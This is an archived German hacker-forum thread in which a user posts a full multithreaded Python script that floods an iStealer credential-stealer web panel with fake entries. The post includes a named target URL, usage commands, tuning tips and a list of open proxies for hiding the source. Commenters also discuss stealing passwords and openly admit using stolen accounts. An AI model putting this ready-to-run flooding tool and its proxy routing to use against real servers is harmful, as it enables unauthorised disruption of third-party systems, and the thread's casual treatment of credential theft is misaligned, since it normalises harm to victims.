PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [B]IStealer 6.x Flooder



EBFE
20.06.2010, 22:17
Immer mehr elitäre Hacker steigen auf iStealer6 um. Leider hat man als Opcode/ScriptKiddie zu wenig Skillz, um an die PHP Login Daten zu kommen :(
Somit kann die Elite ungestraft ihre Server verteilen (und nicht wie etwa zu früheren Zeiten, wo man die FTP Daten auslesen und dementsprechend ändern und sie ärgern konnte). Um aber trotzdem diesen Leuten den "Spass" etwas zu vermiesen, habe ich ein kleines Script geschrieben:


import urllib, random, sys, time
from threading import Thread

# Konfiguration
# benutzerdefinierte Host/URL Liste:
# urls = ["http://google.com", "http://gmx.de", "weitere eintraege"]
# oder urls = ["http://nur_eine.url"]
urls = None
# benutzerdefinierte Logins:
# logins = ["horst", "detlef", "n0N4m3"]
# oder logins = ["nur_ein_eintrag"]
logins = None
# benutzerdefinierte computernamen
# pc_names = ["horst", "detlef", "msie6]
# oder pc_names = ["nur_ein_name"]
pc_names = None

# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10
# wie oft soll der Fortschritt ausgegeben werden (in Sekunden):
update_counter = 10

# interne Variablen
a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789._-!^$%&+#?") + A_Z + a_z

counter = 0
shutdown = False

def rand_string(length):
result = []
for i in range(length):
result.append(random.choice(chars))

return urllib.quote("".join(result))

def generate_args():
#beispiel:
#http://fami33.co.cc/index.php?action=add&a=15&u=%64&l=%65&p=%6D&c=%4D
#maximal 18 "Programme", die ueber IDs unterschieden werden
a = random.randrange(0, 18 + 1)
#url
if urls is None:
u = rand_string(random.randrange(3, 255))
else:
u = random.choice(urls)
#login
if logins is None:
l = rand_string(random.randrange(3, 255))
else:
l = random.choice(logins)
#pass
p = rand_string(random.randrange(4, 30))
#computername
if pc_names is None:
c = rand_string(random.randrange(3, 100))
else:
c = random.choice(pc_names)

return 'index.php?' + urllib.urlencode((('action','add'),('a', a), ('u', u),
('l', l), ('p', p), ('c', c)))

def request(url, proxy):
try:
page = urllib.urlopen(url, proxies = proxy)
code, msg_len = page.code, len(page.read())
page.close()
if code != 200:
print("HTTP error:" + str(code))
if len(proxy) > 0:
proxyname = proxy['http']
# suche und loesche Proxyeintrag
if proxyname in proxies:
proxies.remove(proxyname)
print "Remove %s proxy from list" % proxy['http']
# nicht geklappt - proxy wurde wahrscheinlich vom Script um
# http:// ergaenzt - suche nach Eintrag ohne 'http://'
elif proxyname[7:] in proxies:
proxies.remove(proxy['http'][7:])
print "Remove %s proxy from list" % proxy['http']

# fehlermeldungen der Proxys nicht beachten
elif msg_len > 0 and len(proxy) == 0 :
raise Exception("This is not an iStealer webpanel!")
return True
except IOError, err:
return False

def fill_thread():
global counter
while not shutdown:
time.sleep(sleep_time)
if proxies is not None:
proxy = random.choice(proxies)
if not proxy.startswith('http://'):
proxy = 'http://' + proxy
proxy = {"http":proxy}
else:
proxy = {}

if request("%s/%s" % (hostname, generate_args()), proxy):
counter += 1


try:
hostname = sys.argv[1]
sleep_time = int(sys.argv[2])
proxies = None

if len(sys.argv) >= 4:
#format of proxyfile:
#http://www.someproxy.com:port"
with open(sys.argv[3]) as proxyfile:
proxies = [line for line in proxyfile.read().splitlines() if len(line) > 2]

for i in range(threads):
Thread(target = fill_thread).start()

while True:
time.sleep(update_counter)
print "Junk entries inserted:", counter

except KeyboardInterrupt:
print "Junk entries inserted: ", counter

except Exception, ex:
print "Error:", ex
print "usage: noisteal.py http://hostname.xy " + \
"sleep_time_sec [proxy_list_file]"
finally:
shutdown = True

das ist python 2.6 (bei der 3.0 Version müsste man die urllib Aurufe anpassen) und "flooded" die iStealer DB Einträge mit zufälligen Daten :)

Bsp Aufruf in der Konsole:

python noisteal.py http://fami33.co.cc 0Also: das erste Parameter ist die URL,
dann kommt die "Pausenzeit" zwischen Aufrufen (in Sekunden),
optional kann als letzer Parameter noch eine Proxyliste angegeben werden:

python noisteal.py http://fami33.co.cc 0 proxylist.txtwobei die Proxy da drin im Format:


http://www.someproxy.com:port
http://nocheinproxy.com:80stehen sollten.

Edit/Update:
- Bugs bei Proxynutzung beseitigt, Proxycheck hinzugefügt
- Multithreading hinzugefügt.
- "Extended Configuration" kann ganz am Anfang des Scripts vorgenommen werden:
host/url Liste, Benutzernamen- oder PC-Namenliste eintragen.
siehe auch die Kommentare und Beispiele.
Um die maximale "Flood" Geschwindigkeit zu erreichen sollte man die Variable


# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10auf einen hohen Wert setzen (~100). Insbesondere wenn man freie HTTP Proxys nutzt (denn diese sind nicht die schnellsten)
paar tausend Einträge in der Minute sollten damit schon möglich sein.
Proxyliste:



160.79.35.27:80
87.234.225.14:3129
93.174.81.194:3128
200.43.89.99:3128
89.189.85.133:80
123.49.33.33:3128
96.2.151.32:8085
208.43.128.233:80
210.185.184.18:3128
60.248.69.179:3128
118.142.56.78:3128
218.75.58.94:8080
171.66.3.181:3124
188.231.34.234:80
200.129.25.14:8080
203.148.84.26:3128
66.66.151.179:8085
218.29.234.50:3128
8.17.170.208:80
41.134.13.66:8080
189.47.200.40:80
110.139.213.215:3128
113.160.16.82:3128
118.98.214.58:3128
200.238.81.39:3128
41.215.34.146:8080
204.114.12.158:80
190.25.151.146:8080
89.189.84.195:80
201.88.74.130:3128
82.31.82.41:8080
208.43.128.235:80
218.248.45.51:8080
69.104.98.157:80
124.164.247.43:3128
219.109.119.117:8080
116.50.175.226:8080
128.112.139.108:3124
70.38.47.93:3128
204.11.152.181:3128
187.5.91.82:8080
98.172.53.197:80
216.226.1.196:8080
62.209.202.19:8080
208.43.128.234:80
222.58.225.181:80
195.158.22.6:8080
68.196.130.209:8085
67.222.139.171:80
125.21.51.53:80
189.10.183.178:3128
189.44.54.76:3128
89.189.84.191:80
189.59.67.58:3128
59.125.29.43:8000
84.54.21.151:8080
125.166.147.38:80
59.78.43.54:8000
200.96.53.7:8080
89.189.85.247:80
59.125.177.4:8080
213.184.196.36:3128
189.11.251.70:8080
187.52.103.197:80
200.253.116.2:3128
114.79.191.60:3128
89.189.84.194:80
189.41.70.159:3128
89.189.85.58:80
200.223.233.62:3128
89.189.85.115:80
200.215.15.34:8080
61.247.35.12:8080
222.124.195.150:3128
75.181.11.58:8085
189.43.42.194:3128
202.138.180.198:80
190.90.163.13:8080
212.117.166.26:8138
200.253.116.4:3128
118.98.215.226:31283
187.52.103.197:8080
58.65.244.14:8080
66.165.229.23:8080
200.146.210.189:3128

Und ja, das Ziel ist eigentlich nur den Leuten einen reinzuwürgen ;)

Testlauf:

http://www.imagebanana.com/img/7owgdtml/thumb/screen1.png (http://www.imagebanana.com/view/7owgdtml/screen1.png)
http://www.imagebanana.com/img/lg502jn9/thumb/screen2.png (http://www.imagebanana.com/view/lg502jn9/screen2.png)

Klar, kann der "1337 H4x0r" die Einträge löschen. Allerdings ist das afaik im Pannel nicht ganz so komfortabel - vor allem wenn man viele Proxys benutzt hat und der damit auch viele Daten aussortieren muss :D

cr0ssfreak
20.06.2010, 22:21
ich versteh jetz nich ganz was dies bringen soll
kann mir das mal pls einer erklären??

GregorSamsa
20.06.2010, 22:23
N1, thx EBFE

br00_pwn
20.06.2010, 22:27
Sieht ziemlich gut aus, finde die Idee auch ganz witzig.
Danke für den Post ! Werde es später mal mit meinem IS testen...
Vllt Usage noch mit ins Script...

LG br00_pwn

Variable X
20.06.2010, 22:36
Naja ich finds nicht so besonders, außerdem sind wir hier in ner Hacker Szene wo wir uns helfen sollten und nicht gegenseitig alles schrotten sollten -.-

Aber zum Prinzip: ich benutze das aufrufen der einfachen url auch um daten eines eigenen Stealers zu "überliefern" ist echt praktisch ;) Und so schwer auch nicht zu Verstehen.
Man muss sich nur mal die index vom Stealer durchlesen und schon weiß man wie man die Url aufrufen muss =)

Naja wie auch immer...

mfg VariableX

Edit: einzigst gute Anwendung wäre, wenn man selbst ausersehen opfer wird.... um dann alles zu vertuschen, aber dafür müsste man das Ding noch ordentlich anpassen :P damit die anderen logs untergehen. Und zum löschen von solchen Einträgen gibts ja noch direkt die mysql Tabelle, mit der man arbeiten kann (Die logs werden alle zur relativ selben Zeit eingetragen)

sn0w
20.06.2010, 23:11
[...]wo wir uns helfen sollten und nicht gegenseitig alles schrotten sollten -.-[...]
Deine Argumentation ist einfach überragend... Du sagst, dass man nicht alles "schrotten" soll und dann aber so einen Müll usen? Ne ganz ehrlich geilstes Argument jemals. Das ganze Stealer Zeugs wird doch sowas wenigstens vermindert. Ich versuch das ganze auch mal unter php umzusetzen, um mal ein bisschen zu üben ;)
Danke EBFE :D

MfG

Jaro
20.06.2010, 23:31
Mal ne abgefahrene Idee! Daumen hoch! ;)

EBFE
21.06.2010, 00:55
So, Multithreading und erweiterte Konfigurationsmöglichkeiten hinzugefügt (siehe ersten Beitrag)


ich versteh jetz nich ganz was dies bringen soll
kann mir das mal pls einer erklären??
Zum einen: wenn man mal das Opfer eines solchen "Hackers" geworden ist. Wie z.B hier
http://free-hack.com/stealer/55403-pleazes-stealer-v3-fud.html
http://free-hack.com/stealer/55331-steam-steal0r-dnz-2.html
http://free-hack.com/stealer/50934-istealer-6-0-orignal.html
http://free-hack.com/stealer/54738-istealer6-0-crack.html

Wenn man das rechtzeitig feststellt, kann man z.B das Script laufen lassen und nebenbei seine Passwörter ändern. Vor allem wenn man im Script die Variablen

# benutzerdefinierte Host/URL Liste:
# urls = ["http://google.com", "http://gmx.de", "weitere eintraege"]
# oder urls = ["http://nur_eine.url"]
urls = None
# benutzerdefinierte Logins:
# logins = ["horst", "detlef", "n0N4m3"]
# oder logins = ["nur_ein_eintrag"]
logins = Noneanpasst (also auf seine besuchten Seiten/Logins setzt) wird die Datenbank des Angreifers erstmal zugemüllt und er sollte einige Mühe haben, die "echten" Einträge schnell herauszufinden ;)

Zum anderen: einfach um diesen Leuten einen reinzuwürgen ;)


Naja ich finds nicht so besonders, außerdem sind wir hier in ner Hacker Szene wo wir uns helfen sollten und nicht gegenseitig alles schrotten sollten -.-
Das ist Ansichtssache. Ich zitiere mal einen Typen, der seinen Stealer verteilt hat

Matrixianer http://free-hack.com/images/explode/buttons/viewpost.gif (http://free-hack.com/text-tutorials/36184-advanced-exe-modding-dizzy_d-post447840.html#post447840)
was isn das für ne frage? darauf antworte ich nciht!! sind hier nur n00bs unterwegs? in wirklichkeit ist das auch net advanced, sondern eher basic....abgesehen davon fühle ich mich keiner Szene zugehörig ;). Nicht zuletzt wäre auch ein Kontraargument: diese Leute haben auch absolut kein Problem, die Arbeit anderer zu "schrotten" (in dem sie z.B ihre Malware in Keygens, Cracks und andere "Scene-Releases" einbinden - nicht umsonst ist "Keygen/Crack" inzwischen praktisch ein Synonym für "Infected" Software, obwohl gerade DAS unter den eigentlich Release/Cracking-Groups ein Tabu ist :rolleyes: ). Primär sind die eher an "Profit" interessiert - daher auch keinerlei Mitleid/Hilfe würdig.


nd so schwer auch nicht zu Verstehen.
Man muss sich nur mal die index vom Stealer durchlesen und schon weiß man wie man die Url aufrufen muss =)
ich habe nie behauptet, dass es eine Heidenarbeit gewesen war :D


aber dafür müsste man das Ding noch ordentlich anpassen :P damit die anderen logs untergehen. Und zum löschen von solchen Einträgen gibts ja noch direkt die mysql Tabelle, mit der man arbeiten kann (Die logs werden alle zur relativ selben Zeit eingetragen)
Erster Punkt ist "done". Bei dem zweiten war es mir schon klar, dass man hier dank Sortierung im Webpanel oder gar direktem SQL Zugriff einiges automatisieren kann ;). Allerdings muss man dazu SQL erstmal beherrschen. Wieviele Prozent der iStealer User tun das wirklich ;) ? Dazu kommt noch, dass man den "Angriff" auch auf den Tag verteilen könnte (z.B "sleep_time" auf 60 sekunden setzen - dann gibt es nur paar hundert Einträge in der Stunde oder paar tausend am Tag, was die eigene Leitung nicht wirklich belasten sollte) - hier nach Zeitkriterium zu löschen würde das Problem mit sich bringen, dass dabei auch "echte" Einträge gelöscht werden können.

Weitere Ideen, wie man den iStealer Usern das Leben schwer machen kann, sind herzlich willkommen :)

Variable X
21.06.2010, 11:50
Okay ihr habt echt gute Gegenargumente gebracht. :)
Ich bin wohl etwas zu sehr von mir ausgegangen :/ mein Fehler ^^


Deine Argumentation ist einfach überragend... Du sagst, dass man nicht alles "schrotten" soll und dann aber so einen Müll usen?
Da hast du vollkommen recht. Tut mir Leid hab ich anders gesehn, denn ich benutze den Stealer inzwischen eigentlich nur noch um Sachen mitzuusen, was für mich vertretbar ist. Eig. benutz ich nur rapidshare Accs, auf denen noch ordentlich traffic ist und lade da mit, ohne pw zu ändern oder so.
Klaut man die sachen jedoch vollständig, so muss ich dir recht geben ist es für mich keine Ansehnliche tat. (Aber darüber muss sich jeder selbst ein Bild machen und rausfinden wie er zu dem ganzen steht)



Zum einen: wenn man mal das Opfer eines solchen "Hackers" geworden ist.
Wenn man das rechtzeitig feststellt, kann man z.B das Script laufen lassen und nebenbei seine Passwörter ändern. Vor allem wenn man im Script die Variablen [...] anpasst wird die Datenbank des Angreifers erstmal zugemüllt und er sollte einige Mühe haben, die "echten" Einträge schnell herauszufinden ;)

Nur die, die bemerken, dass sie opfer wurden, die sichern sich meist auch anders ab ^^


Erster Punkt ist "done".
Sehr schön =) so ist das ganze doch schon besser ^^ Vorallem, dass du gleich dran gedacht hast, dass man mehrere URls auf einmal angeben kann ^^


Nicht zuletzt wäre auch ein Kontraargument: diese Leute haben auch absolut kein Problem, die Arbeit anderer zu "schrotten" (in dem sie z.B ihre Malware in Keygens, Cracks und andere "Scene-Releases" einbinden - nicht umsonst ist "Keygen/Crack" inzwischen praktisch ein Synonym für "Infected" Software, obwohl gerade DAS unter den eigentlich Release/Cracking-Groups ein Tabu ist :rolleyes: ). Primär sind die eher an "Profit" interessiert - daher auch keinerlei Mitleid/Hilfe würdig.
...wie ich schon zu Dragonfighter21 meinte, diesen Punkt hab ich übersehen :/ großer Fehler von mir ^^
Es stimmt es gibt einfach gewisse Menschen die "anders" sind. Ich war selbst einer von ihnen und bin es immer noch, ich will mich da nicht ausgrenzen, ich klaue immer noch passwörter... aber ich versuche keinen Schaden mehr anzurichten. Aber wie schon gesagt ich will niemandem ins Gewissen reden, das muss jeder mit sich selbst abmachen.



"Angriff" auch auf den Tag verteilen könnte (z.B "sleep_time" auf 60 sekunden setzen - dann gibt es nur paar hundert Einträge in der Stunde oder paar tausend am Tag, was die eigene Leitung nicht wirklich belasten sollte)

=> wären 60 Einträge pro Stunde/ 1440 pro Tag :D:D

mfg VariableX

EBFE
21.06.2010, 14:43
=> wären 60 Einträge pro Stunde/ 1440 pro Tag :D:D

Nicht ganz - es sind 10 Threads per Default eingestellt, d.h 14 000 Einträge am Tag :)

Btw: Proxybugs beseitigt, eine Proxyliste hinzugefügt (frei verfügbare Proxies, siehe erstes Posting)
sowie ein paar Testläufe gemacht:
http://www.imagebanana.com/img/7owgdtml/thumb/screen1.png (http://www.imagebanana.com/view/7owgdtml/screen1.png)
http://www.imagebanana.com/img/lg502jn9/thumb/screen2.png (http://www.imagebanana.com/view/lg502jn9/screen2.png)